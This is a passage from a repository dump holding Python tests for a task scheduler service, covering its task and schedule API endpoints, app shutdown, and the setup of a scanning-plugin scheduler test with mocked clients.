json.dumps([\"baz\", \"bat\"])}\n                ]\n            },\n        )\n\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(second_item_id, response.json().get(\"results\")[0].get(\"id\"))\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n    def test_pop_empty(self):\n        \"\"\"When queue is empty it should return an empty response\"\"\"\n        response = self.client.post(f\"/schedulers/{self.scheduler.scheduler_id}/pop\")\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(0, len(response.json().get(\"results\")))\n\n\nclass APITasksEndpointTestCase(APITemplateTestCase):\n    def setUp(self):\n        super().setUp()\n\n        # Add one task to the queue\n        first_item = create_task_push_dict(\n            1,\n            self.organisation.id,\n            data=functions.TestModel(id=\"123\", name=\"test\", child=functions.TestModel(id=\"123.123\", name=\"test.child\")),\n        )\n        response = self.client.post(f\"/schedulers/{self.scheduler.scheduler_id}/push\", json=first_item)\n        initial_item_id = response.json().get(\"id\")\n        self.assertEqual(response.status_code, 201)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n\n        self.first_item_api = self.client.get(f\"/tasks/{initial_item_id}\").json()\n\n        # Add second item to the queue\n        second_item = create_task_push_dict(1, self.organisation.id, data=functions.TestModel(id=\"456\", name=\"test\"))\n        response = self.client.post(f\"/schedulers/{self.scheduler.scheduler_id}/push\", json=second_item)\n        second_item_id = response.json().get(\"id\")\n        self.assertEqual(response.status_code, 201)\n        self.assertEqual(2, self.scheduler.queue.qsize())\n\n        self.second_item_api = self.client.get(f\"/tasks/{second_item_id}\").json()\n\n    def test_create_task(self):\n        item = create_task_push_dict(1, self.organisation.id)\n        response_post = self.client.post(f\"/schedulers/{self.scheduler.scheduler_id}/push\", json=item)\n        self.assertEqual(201, response_post.status_code)\n\n        initial_item_id = response_post.json().get(\"id\")\n        response_get = self.client.get(f\"/tasks/{initial_item_id}\")\n        self.assertEqual(200, response_get.status_code)\n\n        # Task should be created\n        response_get_task = self.client.get(f\"/tasks/{initial_item_id}\")\n        self.assertEqual(200, response_get_task.status_code)\n        self.assertEqual(initial_item_id, response_get_task.json().get(\"id\"))\n\n        # Schedule should be created\n        response_get_schedule = self.client.get(f\"/schedules?hash{response_post.json().get('hash')}\")\n        self.assertEqual(200, response_get_schedule.status_code)\n        self.assertEqual(response_post.json().get(\"hash\"), response_get_schedule.json().get(\"results\")[0].get(\"hash\"))\n\n    def test_get_tasks(self):\n        response = self.client.get(\"/tasks\")\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(2, response.json()[\"count\"])\n        self.assertEqual(2, len(response.json()[\"results\"]))\n\n    def test_get_task(self):\n        # First add a task\n        item = create_task_push_dict(1, self.organisation.id)\n\n        response_post = self.client.post(f\"/schedulers/{self.scheduler.scheduler_id}/push\", json=item)\n        self.assertEqual(201, response_post.status_code)\n        initial_item_id = response_post.json().get(\"id\")\n\n        # Then get the task\n        response_get = self.client.get(f\"/tasks/{initial_item_id}\")\n        self.assertEqual(200, response_get.status_code, 200)\n        self.assertEqual(initial_item_id, response_get.json().get(\"id\"))\n\n    def test_get_task_malformed_id(self):\n        response = self.client.get(\"/tasks/123.123\")\n        self.assertEqual(422, response.status_code)\n        self.assertIn(\"Input should be a valid UUID\", str(response.content))\n\n    def test_get_task_not_found(self):\n        mock_id = uuid.uuid4()\n        response = self.client.get(f\"/tasks/{mock_id}\")\n        self.assertEqual(404, response.status_code)\n        self.assertEqual({\"detail\": f\"Resource not found: task not found, by task_id: {mock_id}\"}, response.json())\n\n    def test_get_tasks_min_and_max_created_at(self):\n        # Get tasks based on datetime, both min_created_at and max_created_at, should return 2 items\n        params = {\n            \"min_created_at\": self.first_item_api.get(\"created_at\"),\n            \"max_created_at\": self.second_item_api.get(\"created_at\"),\n        }\n\n        response = self.client.get(\"/tasks\", params=params)\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(2, len(response.json()[\"results\"]))\n\n        # Get tasks based on datetime, both min_created_at and max_created_at, should return 1 item\n        params = {\n            \"min_created_at\": self.first_item_api.get(\"created_at\"),\n            \"max_created_at\": self.first_item_api.get(\"created_at\"),\n        }\n        response = self.client.get(\"/tasks\", params=params)\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(1, len(response.json()[\"results\"]))\n\n    def test_get_tasks_min_created_at(self):\n        # Get tasks based on datetime, only min_created_at, should return 2 items\n        params = {\"min_created_at\": self.first_item_api.get(\"created_at\")}\n        response = self.client.get(\"/tasks\", params=params)\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(2, len(response.json()[\"results\"]))\n\n        # Get tasks based on datetime, only min_created_at, should return 1 item\n        params = {\"min_created_at\": self.second_item_api.get(\"created_at\")}\n        response = self.client.get(\"/tasks\", params=params)\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(1, len(response.json()[\"results\"]))\n        self.assertEqual(self.second_item_api.get(\"id\"), response.json()[\"results\"][0][\"id\"])\n\n    def test_get_tasks_max_created_at(self):\n        # Get tasks based on datetime, only max_created_at, should return 2 items\n        params = {\"max_created_at\": self.second_item_api.get(\"created_at\")}\n        response = self.client.get(\"/tasks\", params=params)\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(2, len(response.json()[\"results\"]))\n\n        # Get tasks based on datetime, only max_created_at, should return 1 item\n        params = {\"max_created_at\": self.first_item_api.get(\"created_at\")}\n        response = self.client.get(\"/tasks\", params=params)\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(1, len(response.json()[\"results\"]))\n        self.assertEqual(self.first_item_api.get(\"id\"), response.json()[\"results\"][0][\"id\"])\n\n    def test_get_tasks_min_greater_than_max_created_at(self):\n        # Get tasks min_created_at greater than max_created_at, should return an error\n        params = {\n            \"min_created_at\": self.second_item_api.get(\"created_at\"),\n            \"max_created_at\": self.first_item_api.get(\"created_at\"),\n        }\n        response = self.client.get(\"/tasks\", params=params)\n        self.assertEqual(400, response.status_code)\n        self.assertEqual(\n            {\"detail\": \"Bad request error occurred: min_created_at must be less than max_created_at\"}, response.json()\n        )\n\n    def test_get_tasks_min_created_at_future(self):\n        # Get tasks based on datetime for something in the future, should return 0 items\n        params = {\"min_created_at\": (datetime.now(timezone.utc) + timedelta(days=1)).isoformat()}\n        response = self.client.get(\"/tasks\", params=params)\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(0, len(response.json()[\"results\"]))\n\n    def test_get_normalizer_filtered(self):\n        # This used to be a bug where the normalizer filter was missing a nesting on the operator\n        params = {\"task_type\": \"normalizer\", \"plugin_id\": \"kat_nmap_normalize\"}\n        response = self.client.get(\"/tasks\", params=params)\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(0, len(response.json()[\"results\"]))\n\n    def test_get_tasks_filtered(self):\n        response = self.client.post(\n            \"/tasks\", json={\"filters\": [{\"column\": \"data\", \"field\": \"name\", \"operator\": \"eq\", \"value\": \"test\"}]}\n        )\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(2, len(response.json()[\"results\"]))\n\n        response = self.client.post(\n            \"/tasks\", json={\"filters\": [{\"column\": \"data\", \"field\": \"id\", \"operator\": \"eq\", \"value\": \"123\"}]}\n        )\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(1, len(response.json()[\"results\"]))\n\n        response = self.client.post(\n            \"/tasks\",\n            json={\"filters\": [{\"column\": \"data\", \"field\": \"child__name\", \"operator\": \"eq\", \"value\": \"test.child\"}]},\n        )\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(1, len(response.json()[\"results\"]))\n\n    def test_get_tasks_by_schedule(self):\n        # Get tasks based on related schedule attributes\n        response = self.client.post(\n            \"/tasks\",\n            json={\n                \"filters\": [\n                    {\n                        \"column\": \"schedule\",\n                        \"field\": \"deadline_at\",\n                        \"operator\": \"gt\",\n                        \"value\": datetime.now().isoformat(),\n                    }\n                ]\n            },\n        )\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(2, len(response.json()[\"results\"]))\n\n        response = self.client.post(\n            \"/tasks\",\n            json={\n                \"filters\": [\n                    {\n                        \"column\": \"schedule\",\n                        \"field\": \"deadline_at\",\n                        \"operator\": \"lt\",\n                        \"value\": datetime.now().isoformat(),\n                    }\n                ]\n            },\n        )\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(0, len(response.json()[\"results\"]))\n\n    def test_patch_task(self):\n        # Patch a task\n        self.assertEqual(models.TaskStatus.QUEUED.value, self.first_item_api.get(\"status\"))\n        response = self.client.patch(f\"/tasks/{self.first_item_api.get('id')}\", json={\"status\": \"completed\"})\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(\"completed\", response.json().get(\"status\"))\n\n    def test_patch_task_empty(self):\n        # Patch a task with empty body\n        response = self.client.patch(f\"/tasks/{self.first_item_api.get('id')}\", json={})\n        self.assertEqual(400, response.status_code)\n        self.assertEqual({\"detail\": \"Bad request error occurred: no data to patch\"}, response.json())\n\n    def test_patch_task_invalid_content(self):\n        # Patch a task with invalid content\n        response = self.client.patch(f\"/tasks/{self.first_item_api.get('id')}\", json={\"invalid\": \"invalid\"})\n        self.assertEqual(400, response.status_code)\n        self.assertEqual({\"detail\": \"Bad request error occurred: no data to patch\"}, response.json())\n\n    def test_patch_task_not_found(self):\n        # Patch a task that does not exist\n        mock_id = uuid.uuid4()\n        response = self.client.patch(f\"/tasks/{mock_id}\", json={\"status\": \"completed\"})\n        self.assertEqual(404, response.status_code)\n        self.assertEqual({\"detail\": f\"Resource not found: task not found, by task_id: {mock_id}\"}, response.json())\n\n    def test_patch_task_malformed_id(self):\n        # Patch a task with malformed id\n        response = self.client.patch(\"/tasks/123.123\", json={\"status\": \"completed\"})\n        self.assertEqual(422, response.status_code)\n        self.assertIn(\"Input should be a valid UUID\", response.text)\n\n    def test_patch_task_invalid_status(self):\n        # Patch a task with invalid status\n        response = self.client.patch(f\"/tasks/{self.first_item_api.get('id')}\", json={\"status\": \"invalid\"})\n        self.assertEqual(422, response.status_code)\n        self.assertIn(\"Input should be\", response.json().get(\"detail\")[0].get(\"msg\"))\n\n    def test_get_tasks_stats(self):\n        response = self.client.get(\"/tasks/stats\")\n        self.assertEqual(200, response.status_code)\n\n        response = self.client.get(f\"/tasks/stats?scheduler_id={self.first_item_api.get('scheduler_id')}\")\n        self.assertEqual(200, response.status_code)\n\n        response = self.client.get(f\"/tasks/stats?organisation_id={self.first_item_api.get('organisation_id')}\")\n        self.assertEqual(200, response.status_code)\n\n\nclass APIScheduleEndpointTestCase(APITemplateTestCase):\n    def setUp(self):\n        super().setUp()\n\n        self.first_item = functions.create_task(self.scheduler.scheduler_id, self.organisation.id)\n        self.first_schedule = self.mock_ctx.datastores.schedule_store.create_schedule(\n            models.Schedule(\n                scheduler_id=self.scheduler.scheduler_id,\n                organisation=self.organisation.id,\n                hash=self.first_item.hash,\n                data=self.first_item.data,\n                deadline_at=datetime.now(timezone.utc) + timedelta(days=1),\n            )\n        )\n\n        self.second_item = functions.create_task(self.scheduler.scheduler_id, self.organisation.id)\n        self.second_schedule = self.mock_ctx.datastores.schedule_store.create_schedule(\n            models.Schedule(\n                scheduler_id=self.scheduler.scheduler_id,\n                organisation=self.organisation.id,\n                hash=self.second_item.hash,\n                data=self.second_item.data,\n                deadline_at=datetime.now(timezone.utc) + timedelta(days=2),\n            )\n        )\n\n    def test_list_schedules(self):\n        response = self.client.get(\"/schedules\")\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(2, response.json()[\"count\"])\n        self.assertEqual(2, len(response.json()[\"results\"]))\n\n    def test_list_schedules_scheduler_id(self):\n        response = self.client.get(f\"/schedules?scheduler_id={self.scheduler.scheduler_id}\")\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(2, response.json()[\"count\"])\n        self.assertEqual(2, len(response.json()[\"results\"]))\n\n        response = self.client.get(f\"/schedules?scheduler_id={uuid.uuid4()}\")\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(0, response.json()[\"count\"])\n        self.assertEqual(0, len(response.json()[\"results\"]))\n\n    def test_list_schedules_enabled(self):\n        response = self.client.get(\"/schedules?enabled=true\")\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(2, response.json()[\"count\"])\n        self.assertEqual(2, len(response.json()[\"results\"]))\n\n        response = self.client.get(\"/schedules?enabled=false\")\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(0, response.json()[\"count\"])\n        self.assertEqual(0, len(response.json()[\"results\"]))\n\n    def test_list_schedules_min_deadline(self):\n        response = self.client.get(f\"/schedules?min_deadline_at={quote(self.first_schedule.deadline_at.isoformat())}\")\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(2, response.json()[\"count\"])\n        self.assertEqual(2, len(response.json()[\"results\"]))\n\n        response = self.client.get(f\"/schedules?min_deadline_at={quote(self.second_schedule.deadline_at.isoformat())}\")\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(1, response.json()[\"count\"])\n        self.assertEqual(1, len(response.json()[\"results\"]))\n        self.assertEqual(str(self.second_schedule.id), response.json()[\"results\"][0][\"id\"])\n\n    def test_list_schedules_max_deadline(self):\n        response = self.client.get(f\"/schedules?max_deadline_at={quote(self.second_schedule.deadline_at.isoformat())}\")\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(2, response.json()[\"count\"])\n        self.assertEqual(2, len(response.json()[\"results\"]))\n\n        response = self.client.get(f\"/schedules?max_deadline_at={quote(self.first_schedule.deadline_at.isoformat())}\")\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(1, response.json()[\"count\"])\n        self.assertEqual(1, len(response.json()[\"results\"]))\n        self.assertEqual(str(self.first_schedule.id), response.json()[\"results\"][0][\"id\"])\n\n    def test_list_schedules_min_and_max_deadline(self):\n        response = self.client.get(\n            f\"/schedules?min_deadline_at={quote(self.first_schedule.deadline_at.isoformat())}&max_deadline_at={quote(self.second_schedule.deadline_at.isoformat())}\"\n        )\n\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(2, response.json()[\"count\"])\n        self.assertEqual(2, len(response.json()[\"results\"]))\n\n        response = self.client.get(\n            f\"/schedules?min_deadline_at={quote(self.first_schedule.deadline_at.isoformat())}&max_deadline_at={quote(self.first_schedule.deadline_at.isoformat())}\"\n        )\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(1, response.json()[\"count\"])\n        self.assertEqual(1, len(response.json()[\"results\"]))\n        self.assertEqual(str(self.first_schedule.id), response.json()[\"results\"][0][\"id\"])\n\n    def test_list_schedules_min_greater_than_max_deadline(self):\n        response = self.client.get(\n            f\"/schedules?min_deadline_at={quote(self.second_schedule.deadline_at.isoformat())}&max_deadline_at={quote(self.first_schedule.deadline_at.isoformat())}\"\n        )\n        self.assertEqual(400, response.status_code)\n        self.assertEqual(\n            response.json(), {\"detail\": \"Bad request error occurred: min_deadline_at must be less than max_deadline_at\"}\n        )\n\n    def test_list_schedules_hash(self):\n        response = self.client.get(f\"/schedules?schedule_hash={self.first_schedule.hash}\")\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(1, response.json()[\"count\"])\n        self.assertEqual(1, len(response.json()[\"results\"]))\n        self.assertEqual(str(self.first_schedule.id), response.json()[\"results\"][0][\"id\"])\n\n    def test_list_schedules_min_created_at(self):\n        response = self.client.get(f\"/schedules?min_created_at={quote(self.first_schedule.created_at.isoformat())}\")\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(2, response.json()[\"count\"])\n        self.assertEqual(2, len(response.json()[\"results\"]))\n\n        response = self.client.get(f\"/schedules?min_created_at={quote(self.second_schedule.created_at.isoformat())}\")\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(1, response.json()[\"count\"])\n        self.assertEqual(1, len(response.json()[\"results\"]))\n        self.assertEqual(str(self.second_schedule.id), response.json()[\"results\"][0][\"id\"])\n\n    def test_list_schedules_max_created_at(self):\n        response = self.client.get(f\"/schedules?max_created_at={quote(self.second_schedule.created_at.isoformat())}\")\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(2, response.json()[\"count\"])\n        self.assertEqual(2, len(response.json()[\"results\"]))\n\n        response = self.client.get(f\"/schedules?max_created_at={quote(self.first_schedule.created_at.isoformat())}\")\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(1, response.json()[\"count\"])\n        self.assertEqual(1, len(response.json()[\"results\"]))\n        self.assertEqual(str(self.first_schedule.id), response.json()[\"results\"][0][\"id\"])\n\n    def test_list_schedules_min_and_max_created_at(self):\n        response = self.client.get(\n            f\"/schedules?min_created_at={quote(self.first_schedule.created_at.isoformat())}&max_created_at={quote(self.second_schedule.created_at.isoformat())}\"\n        )\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(2, response.json()[\"count\"])\n        self.assertEqual(2, len(response.json()[\"results\"]))\n\n        response = self.client.get(\n            f\"/schedules?min_created_at={quote(self.first_schedule.created_at.isoformat())}&max_created_at={quote(self.first_schedule.created_at.isoformat())}\"\n        )\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(1, response.json()[\"count\"])\n        self.assertEqual(1, len(response.json()[\"results\"]))\n        self.assertEqual(str(self.first_schedule.id), response.json()[\"results\"][0][\"id\"])\n\n    def test_list_schedules_organisation(self):\n        response = self.client.get(f\"/schedules?organisation={self.organisation.id}\")\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(2, response.json()[\"count\"])\n        self.assertEqual(2, len(response.json()[\"results\"]))\n\n        response = self.client.get(f\"/schedules?organisation={uuid.uuid4()}\")\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(0, response.json()[\"count\"])\n        self.assertEqual(0, len(response.json()[\"results\"]))\n\n    def test_post_schedule(self):\n        item = functions.create_task(self.scheduler.scheduler_id, self.organisation.id)\n        response = self.client.post(\n            \"/schedules\",\n            json={\n                \"scheduler_id\": item.scheduler_id,\n                \"organisation\": self.organisation.id,\n                \"schedule\": \"*/5 * * * *\",\n                \"data\": item.data,\n            },\n        )\n        self.assertEqual(201, response.status_code)\n        self.assertEqual(item.hash, response.json().get(\"hash\"))\n        self.assertEqual(item.data, response.json().get(\"data\"))\n\n        # Deadline should be set to the next run of the schedule\n        self.assertEqual(\n            utils.cron.next_run(\"*/5 * * * *\"),\n            # NOTE: Remove Z from the end of the string. Until 3.11\n            # datetime.fromisoformat does not accept Z at the end of the string\n            datetime.fromisoformat(response.json().get(\"deadline_at\")[:-1]).astimezone(timezone.utc),\n        )\n\n    def test_post_schedule_explicit_deadline_at(self):\n        \"\"\"When a schedule is created, the deadline_at should be set if it is provided.\"\"\"\n        item = functions.create_task(self.scheduler.scheduler_id, self.organisation.id)\n        now = datetime.now(timezone.utc)\n        response = self.client.post(\n            \"/schedules\",\n            json={\n                \"scheduler_id\": item.scheduler_id,\n                \"organisation\": self.organisation.id,\n                \"data\": item.data,\n                \"deadline_at\": now.isoformat(),\n            },\n        )\n        self.assertEqual(201, response.status_code)\n        self.assertIsNone(response.json().get(\"schedule\"))\n        self.assertEqual(\n            # NOTE: Remove Z from the end of the string. Until 3.11\n            # datetime.fromisoformat does not accept Z at the end of the string\n            datetime.fromisoformat(response.json().get(\"deadline_at\")[:-1]).astimezone(timezone.utc),\n            now,\n        )\n\n    def test_post_schedule_schedule_and_deadline_at_none(self):\n        \"\"\"When a schedule is created, both schedule and deadline_at should not be None.\"\"\"\n        item = functions.create_task(self.scheduler.scheduler_id, self.organisation.id)\n        response = self.client.post(\n            \"/schedules\",\n            json={\"scheduler_id\": item.scheduler_id, \"organisation\": self.organisation.id, \"data\": item.data},\n        )\n        self.assertEqual(400, response.status_code)\n        self.assertEqual(\n            {\"detail\": \"Bad request error occurred: Either deadline_at or schedule must be provided\"}, response.json()\n        )\n\n    def test_post_schedule_invalid_schedule(self):\n        item = functions.create_task(self.scheduler.scheduler_id, self.organisation.id)\n        response = self.client.post(\n            \"/schedules\",\n            json={\n                \"scheduler_id\": item.scheduler_id,\n                \"organisation\": self.organisation.id,\n                \"schedule\": \"invalid\",\n                \"data\": item.data,\n            },\n        )\n        self.assertEqual(400, response.status_code)\n        self.assertIn(\"validation error\", response.json().get(\"detail\"))\n\n    def test_post_schedule_invalid_scheduler_id(self):\n        item = functions.create_task(self.scheduler.scheduler_id, self.organisation.id)\n        response = self.client.post(\n            \"/schedules\",\n            json={\n                \"scheduler_id\": \"invalid\",\n                \"organisation\": self.organisation.id,\n                \"schedule\": \"*/5 * * * *\",\n                \"data\": item.data,\n            },\n        )\n        self.assertEqual(400, response.status_code)\n        self.assertEqual({\"detail\": \"Bad request error occurred: Scheduler invalid not found\"}, response.json())\n\n    def test_post_schedule_invalid_data(self):\n        item = functions.create_task(self.scheduler.scheduler_id, self.organisation.id)\n        response = self.client.post(\n            \"/schedules\",\n            json={\n                \"scheduler_id\": item.scheduler_id,\n                \"organisation\": self.organisation.id,\n                \"schedule\": \"*/5 * * * *\",\n                \"data\": \"invalid\",\n            },\n        )\n        self.assertEqual(422, response.status_code)\n\n    def test_post_schedule_invalid_data_type(self):\n        item = functions.create_task(self.scheduler.scheduler_id, self.organisation.id)\n        response = self.client.post(\n            \"/schedules\",\n            json={\n                \"scheduler_id\": item.scheduler_id,\n                \"organisation\": self.organisation.id,\n                \"schedule\": \"*/5 * * * *\",\n                \"data\": {\"invalid\": \"invalid\"},\n            },\n        )\n        self.assertEqual(400, response.status_code)\n        self.assertIn(\"validation error\", response.json().get(\"detail\"))\n\n    def test_post_schedule_hash_already_exists(self):\n        item = functions.create_task(self.scheduler.scheduler_id, self.organisation.id)\n        response = self.client.post(\n            \"/schedules\",\n            json={\n                \"scheduler_id\": item.scheduler_id,\n                \"organisation\": self.organisation.id,\n                \"schedule\": \"*/5 * * * *\",\n                \"data\": item.data,\n            },\n        )\n        self.assertEqual(201, response.status_code)\n\n        response = self.client.post(\n            \"/schedules\",\n            json={\n                \"scheduler_id\": item.scheduler_id,\n                \"organisation\": self.organisation.id,\n                \"schedule\": \"*/5 * * * *\",\n                \"data\": item.data,\n            },\n        )\n        self.assertEqual(409, response.status_code)\n        self.assertIn(\"schedule with the same hash already exists\", response.json().get(\"detail\"))\n\n    def test_get_schedule(self):\n        response = self.client.get(f\"/schedules/{self.first_schedule.id}\")\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(str(self.first_schedule.id), response.json().get(\"id\"))\n\n    def test_patch_schedule(self):\n        response = self.client.patch(f\"/schedules/{self.first_schedule.id}\", json={\"enabled\": False})\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(False, response.json().get(\"enabled\"))\n\n    def test_patch_schedule_validate_schedule(self):\n        response = self.client.patch(f\"/schedules/{self.first_schedule.id}\", json={\"schedule\": \"*/5 * * * *\"})\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(\"*/5 * * * *\", response.json().get(\"schedule\"))\n\n    def test_patch_schedule_validate_malformed_schedule(self):\n        response = self.client.patch(f\"/schedules/{self.first_schedule.id}\", json={\"schedule\": \"malformed\"})\n        self.assertEqual(400, response.status_code)\n        self.assertIn(\"validation error\", response.json().get(\"detail\"))\n\n    def test_search_schedule(self):\n        response = self.client.post(\n            \"/schedules/search\",\n            json={\n                \"filters\": [\n                    {\"column\": \"data\", \"field\": \"name\", \"operator\": \"eq\", \"value\": self.first_item.data.get(\"name\")}\n                ]\n            },\n        )\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(1, response.json()[\"count\"])\n        self.assertEqual(1, len(response.json()[\"results\"]))\n\n    def test_search_schedule_with_pagination(self):\n        response = self.client.post(\n            \"/schedules/search?limit=1\",\n            json={\"filters\": [{\"column\": \"scheduler_id\", \"operator\": \"eq\", \"value\": self.scheduler.scheduler_id}]},\n        )\n        self.assertEqual(200, response.status_code)\n        self.assertEqual(2, response.json()[\"count\"])\n        self.assertEqual(1, len(response.json()[\"results\"]))\n\n    def test_delete_schedule(self):\n        response = self.client.delete(f\"/schedules/{self.first_schedule.id}\")\n        self.assertEqual(204, response.status_code)\n\n        # Schedule should be deleted\n        response = self.client.get(f\"/schedules/{self.first_schedule.id}\")\n        self.assertEqual(404, response.status_code)\n\n    def test_delete_schedule_task_schedule_id(self):\n        item = create_task_push_dict(1, self.organisation.id)\n        response_post = self.client.post(f\"/schedulers/{self.scheduler.scheduler_id}/push\", json=item)\n        self.assertEqual(201, response_post.status_code)\n        self.assertEqual(1, self.scheduler.queue.qsize())\n        self.assertIsNotNone(response_post.json().get(\"id\"))\n\n        # Task should be created\n        response_get_task = self.client.get(f\"/tasks/{response_post.json().get('id')}\")\n        self.assertEqual(200, response_get_task.status_code)\n        self.assertEqual(response_post.json().get(\"id\"), response_get_task.json().get(\"id\"))\n\n        # Schedule should be created, and schedule_id should be in the\n        # response of the post request\n        response_get_schedule = self.client.get(f\"/schedules/{response_post.json().get('schedule_id')}\")\n        self.assertEqual(200, response_get_schedule.status_code)\n        self.assertEqual(response_post.json().get(\"schedule_id\"), response_get_schedule.json().get(\"id\"))\n\n        # Delete the schedule\n        response_delete = self.client.delete(f\"/schedules/{response_post.json().get('schedule_id')}\")\n        self.assertEqual(204, response_delete.status_code)\n\n        # Schedule should be deleted\n        response_get_schedule = self.client.get(f\"/schedules/{response_post.json().get('schedule_id')}\")\n        self.assertEqual(404, response_get_schedule.status_code)\n\n        # schedule_id should be removed from the task\n        response_get_task = self.client.get(f\"/tasks/{response_post.json().get('id')}\")\n        self.assertEqual(200, response_get_task.status_code)\n        self.assertIsNone(response_get_task.json().get(\"schedule_id\"))\n"
  },
  {
    "path": "mula/tests/integration/test_app.py",
    "content": "import threading\nimport unittest\nfrom types import SimpleNamespace\nfrom unittest import mock\n\nimport scheduler\nfrom scheduler import config, models, server, storage\nfrom scheduler.storage import stores\n\nfrom tests.factories import OrganisationFactory\nfrom tests.mocks import MockKatalogusService\n\n\nclass AppTestCase(unittest.TestCase):\n    def setUp(self):\n        # Application Context\n        self.mock_ctx = mock.patch(\"scheduler.context.AppContext\").start()\n        self.mock_ctx.config = config.settings.Settings()\n        self.mock_ctx.services.katalogus = MockKatalogusService()\n\n        # Database\n        self.dbconn = storage.DBConn(str(self.mock_ctx.config.db_uri))\n        self.dbconn.connect()\n        models.Base.metadata.drop_all(self.dbconn.engine)\n        models.Base.metadata.create_all(self.dbconn.engine)\n\n        self.mock_ctx.datastores = SimpleNamespace(\n            **{\n                stores.TaskStore.name: stores.TaskStore(self.dbconn),\n                stores.PriorityQueueStore.name: stores.PriorityQueueStore(self.dbconn),\n            }\n        )\n\n        # App\n        self.app = scheduler.App(self.mock_ctx)\n        self.app.server = server.Server(self.mock_ctx, self.app.schedulers)\n\n    def tearDown(self):\n        self.app.shutdown()\n        models.Base.metadata.drop_all(self.dbconn.engine)\n        self.dbconn.engine.dispose()\n\n    def test_shutdown(self):\n        \"\"\"Test that the app shuts down gracefully\"\"\"\n        # Arrange\n        self.mock_ctx.services.katalogus.organisations = {\"org-1\": OrganisationFactory(id=\"org-1\")}\n        self.app.start_schedulers()\n\n        # Shutdown the app\n        self.app.shutdown()\n\n        # Assert that all threads have been stopped\n        # for thread in self.app.threads:\n        for t in threading.enumerate():\n            if t is threading.main_thread():\n                continue\n\n            self.assertFalse(t.is_alive())\n"
  },
  {
    "path": "mula/tests/integration/test_boefje_scheduler.py",
    "content": "import time\nimport unittest\nimport uuid\nfrom datetime import datetime, timedelta, timezone\nfrom types import SimpleNamespace\nfrom unittest import mock\n\nfrom scheduler import clients, config, models, schedulers, storage\nfrom scheduler.models import BoefjeConfig\nfrom scheduler.models.ooi import RunOn\nfrom scheduler.storage import stores\nfrom structlog.testing import capture_logs\n\nfrom tests.factories import (\n    BoefjeFactory,\n    BoefjeMetaFactory,\n    OOIFactory,\n    OrganisationFactory,\n    PluginFactory,\n    ScanProfileFactory,\n)\nfrom tests.utils import functions\n\n\nclass BoefjeSchedulerBaseTestCase(unittest.TestCase):\n    def setUp(self):\n        # Application Context\n        self.mock_ctx = mock.patch(\"scheduler.context.AppContext\").start()\n        self.mock_ctx.config = config.settings.Settings()\n\n        # Mock connectors: octopoes\n        self.mock_octopoes = mock.create_autospec(spec=clients.Octopoes, spec_set=True)\n        self.mock_ctx.services.octopoes = self.mock_octopoes\n\n        # Mock connectors: Scan profile mutation\n        self.mock_scan_profile_mutation = mock.create_autospec(spec=clients.ScanProfileMutation, spec_set=True)\n        self.mock_ctx.services.scan_profile_mutation = self.mock_scan_profile_mutation\n\n        # Mock connectors: Katalogus\n        self.mock_katalogus = mock.create_autospec(spec=clients.Katalogus, spec_set=True)\n        self.mock_ctx.services.katalogus = self.mock_katalogus\n\n        # Mock connectors: Bytes\n        self.mock_bytes = mock.create_autospec(spec=clients.Bytes, spec_set=True)\n        self.mock_ctx.services.bytes = self.mock_bytes\n\n        # Database\n        self.dbconn = storage.DBConn(str(self.mock_ctx.config.db_uri))\n        self.dbconn.connect()\n        models.Base.metadata.drop_all(self.dbconn.engine)\n        models.Base.metadata.create_all(self.dbconn.engine)\n\n        self.mock_ctx.datastores = SimpleNamespace(\n            **{\n                stores.ScheduleStore.name: stores.ScheduleStore(self.dbconn),\n                stores.TaskStore.name: stores.TaskStore(self.dbconn),\n                stores.PriorityQueueStore.name: stores.PriorityQueueStore(self.dbconn),\n            }\n        )\n\n        # Scheduler\n        self.scheduler = schedulers.BoefjeScheduler(self.mock_ctx)\n\n        # Organisation\n        self.organisation = OrganisationFactory()\n\n    def tearDown(self):\n        self.scheduler.stop()\n        models.Base.metadata.drop_all(self.dbconn.engine)\n        self.dbconn.engine.dispose()\n\n\nclass BoefjeSchedulerTestCase(BoefjeSchedulerBaseTestCase):\n    def setUp(self):\n        super().setUp()\n\n        self.mock_get_latest_task_by_hash = mock.patch(\n            \"scheduler.context.AppContext.datastores.task_store.get_latest_task_by_hash\"\n        ).start()\n\n        self.mock_get_last_run_boefje = mock.patch(\n            \"scheduler.context.AppContext.services.bytes.get_last_run_boefje\"\n        ).start()\n\n        